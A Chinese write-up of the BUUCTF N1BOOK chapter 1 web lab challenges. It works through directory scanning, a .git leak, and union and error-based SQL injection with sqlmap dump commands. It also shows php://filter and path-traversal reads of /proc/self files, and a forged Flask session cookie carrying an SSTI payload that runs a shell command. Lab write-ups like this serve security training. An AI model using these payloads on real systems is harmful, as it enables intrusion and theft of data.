文章目录
前言
CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。
BUUCTF是一个很好的CTF训练平台,这里介绍的是N1BOOK部分的第一章,后续会陆续更新
BUUCTF网址:https://buuoj.cn/
[第一章 web入门]常见的搜集1
1.先进入页面,观察信息,发现提示敏感信息,我们可以使用目录扫描工具对网页进行扫描。
2.这里使用
dirsearch
工具来进行信息查找。
dirsearch -u http://065698d0-f786-4297-b28c-82bbd97e501c.node5.buuoj.cn:81/
2.在页面中访问
robots.txt
文件页面:
3.根据robots.txt中的信息,访问
flag1_is_her3_fun.txt
,找到了flag1(n1book{info_1):
4.同样的,我们还扫到
index.php~
和
.index.php.swp
,在文件中,我们可以找到flag2(s_v3ry_im) 和 flag3(p0rtant_hack})。
flag2:
flag3:
5.将他们拼接起来,就是 flag(
n1book{info_1s_v3ry_imp0rtant_hack}
)。
[第一章 web入门]粗心的小李
1.先进入页面,观察信息,我们发现是git泄露漏洞,这时候就想到使用工具GitHack。
2.我们打开到kali下的GitHack目录,运行命令,这会生成一个index.html文件,打开文件我们就可以获取到flag(
n1book{git_looks_s0_easyfun}
)。
python GitHack.py http://93d14fa6-2eeb-49fd-91b7-bfdb0e13b39d.node5.buuoj.cn:81/.git/
[第一章 web入门]SQL注入-1
1.先进入
index.php?id=1
,发现并没有有效的信息,打开F12,进入
hackbar
,注入
'
,发现奇数个会异常,偶数不会,说明此为字符型注入。
2.接着我们就要来搞清是怎么回显的了,注入
order by 1--+
,我们发现回显正常,接着依次增加,当我们注入
order by 4--+
时,发现页面异常,说明回显位数最多为3。
3.当我们确定了回显位数,就要确定回显位置了。注入
id=0'union select 1,2,3--+
,确定回显的位置(2,3)。
4.我们在2位置进行注入,来获取数据库名,注入
id=0'union select 1,database(),3--+
,注入成功得到数据库名(node)。
5.得到数据库名,我们就开始查找表名,注入
id=0'union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='note'),3--+
,注入成功回显表名(fl4g,notes)。
6.得到表名之后,我们就开始查找字段名,注入
id=0' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='fl4g'),3--+
,注入成功回显字段名(fllllag)。
7.得到字段名之后,就要找字段里面的值了,注入
id=0' union select 1,(select group_concat(fllllag)from fl4g),3--+
,注入成功得到flag(n1book{union_select_is_so_cool} )。
这里除了使用联合注入之外,还可以使用sqlmap工具来实现,以下是sqlmap命令:
# 获取数据库名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" --dbs --batch
# 获取数据库表名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note --tables --batch
# 获取字段名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g --columns --batch
# 获取flag值
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g -C 'fllllag' --dump --batch
[第一章 web入门]SQL注入-2
1.先进入
login.php
,进行简单的sql注入发现并不能成功,打开F12 进入
Inspector
发现tips,确定是报错型SQL注入。
2.我们使用burp来进行抓包分析,我们先随便登录一下,然后进行抓包:
3.使用burp进行抓包:
4.在url后加
?tips=1
,开启mysql错误提示,在用户登录地方加上
'
和
''
,发现只有奇数引号时会报错,偶数不会报错,说明是字符型。
5.注入
and updatexml(1,concat(0x7e,database(),0x7e),1)#
回显报错数据库名(note)。
6.获取到数据库名后,需要得到数据库表,注入
and updatexml(1,concat(0x7e,(seLect group_concat(table_name)from information_schema.tables where table_schema='note'),0x7e),1)#
,这里使用的是
seLect
,而不是
select
,如果使用会发现报语法错误,因为禁用了关键字,所以使用
seLect
关键字绕过,注入成功后显示表名(fl4g,users)。
7.在获取到表后,需要得到表中的字段,注入
and updatexml(1,concat(0x7e,(seLect group_concat(column_name)from information_schema.columns where table_name='fl4g'),0x7e),1)#
,注入成功后显示字段名(flag)。
8.在获取到字段后,需要得到字段中的值,注入
and updatexml(1,concat(0x7e,(seLect group_concat(flag)from fl4g),0x7e),1)#
,注入成功回显值flag(
n1book{login_sqli_is_nice}
)。
[第一章 web入门]afr_1
1.打开首页,我们发现url很有意思,它是带参数的,所以我们就联想到利用这个特点。
2.我们将hello换成别的东西,如111、flag,发现输入flag的时候显示如下:
3.我们利用php伪协议来查看源代码是否有隐藏信息(PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9),以base64的形式输出。
php://filter/convert.base64-encode/resource=flag
4.将得到的信息进行解码,得到flag(
n1book{afr_1_solved}
)。
[第一章 web入门]afr_2
1.打开首页,发现并没有可用的信息,打开网页源代码,发现一个目录。
2.拿到这个目录,我们就可以来使用命令穿越
/img../
遍历目录。
3.我们在这个目录下发现一个
flag
文件,我们看一下这个文件里面存储了flag(
n1book{afr_2_solved}
)。
[第一章 web入门]afr_3
1.首先访问首页,这里有一个提交,我们随便提交一个信息上去,我提交的是111。
2.提交过后跳到一个
/n1page
界面,访问article后发现url传参:
3.我们改变一下传的参数,使name=111,发现它把目录
/home/nullllllll/articles
爆出来了!说明存在目录穿越或者文件包含漏洞。
4.我们知道后就可以来查看获取当前进程的命令行参数
?name=../../../../../proc/self/cmdline
。
5.获取到
server.py
后,我们就去查看代码
?name=../../../../../proc/self/cwd/server.py
,发现了两个文件
flag.py
和
key.py
。
#!/usr/bin/pythonimport os
from flask import( Flask, render_template, request, url_for, redirect, session, render_template_string )from flask_session import Session
app = Flask(__name__)execfile('flag.py')execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET","POST"])defn1page():if request.method !="POST":return redirect(url_for("index"))
n1code = request.form.get("n1code")orNoneif n1code isnotNone:
n1code = n1code.replace(".","").replace("_","").replace("{","").replace("}","")if"n1code"notin session or session['n1code']isNone:
session['n1code']= n1code
template =Noneif session['n1code']isnotNone:
template ='''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> '''% session['n1code']
session['n1code']=Nonereturn render_template_string(template)@app.route("/", methods=["GET"])defindex():return render_template("main.html")@app.route('/article', methods=['GET'])defarticle():
error =0if'name'in request.args:
page = request.args.get('name')else:
page ='article'if page.find('flag')>=0:
page ='notallowed.txt'try:
template =open('/home/nu11111111l/articles/{}'.format(page)).read()except Exception as e:
template = e
return render_template('article.html', template=template)if __name__ =="__main__":
app.run(host='0.0.0.0', debug=False)
6.查看这两个文件,
flag.py
并不能访问。
7.访问
key.py
,得到
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
,这是一个以python编写的脚本,根据代码我们可知两个路径,一个
/n1page
,一个
/article
,如果我们传入的Session中有n1code,我们将
.
、
_
、
{
、
}
用空代替,也就是去掉这些字符,经过过滤,传入的Session进入template,我们就在这个地方来伪造Session。
8.我们需要把脚本
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA
进行加密,需要到Git上拉。
git clone https://github.com/noraj/flask-session-cookie-manager
然后在文件夹中执行命令进行加密:
python3 ./flask_session_cookie_manager3.py encode -s"Drmhze6EPcv0fN_81Bj-nA"-t"{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
接着我们将加密后的cookie放到bp(主页提交页面)中去发包,即可得到flag(
n1book{afr_3_solved}
)。
版权归原作者 Da1NtY0926 所有, 如有侵权,请联系我们删除。